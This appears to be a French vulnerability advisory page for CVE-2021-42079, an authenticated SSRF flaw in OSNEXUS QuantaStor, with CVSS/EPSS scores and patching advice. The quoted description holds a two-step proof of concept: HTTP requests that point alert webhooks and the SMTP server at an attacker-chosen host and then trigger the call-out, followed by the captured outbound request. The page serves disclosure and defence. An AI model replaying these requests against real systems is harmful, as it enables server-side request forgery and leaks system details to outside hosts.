CVE-2021-42079
Vulnérabilité moyenne dans QuantaStor (OSNEXUS)
Description
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
Gravité et risque d'exploitation
CVE-2021-42079 obtient un score CVSS de 6.2/10, soit une gravité moyenne. Selon le modèle EPSS, la probabilité qu'elle soit exploitée dans les 30 prochains jours est de 0.69 %, ce qui la place devant 52.1 % des CVE référencées.
Que faire ?
- Vérifiez si QuantaStor (versions <6.0.0.355, 0) est présent sur votre parc.
- Appliquez le correctif ou la version corrigée indiqués dans les références de l'éditeur.
- À défaut de correctif, limitez l'exposition (filtrage réseau, désactivation du composant).
- Automatisez la détection : les agents CVE Heimdall (gratuits, open source) corrèlent l'inventaire de vos serveurs avec la base CVE.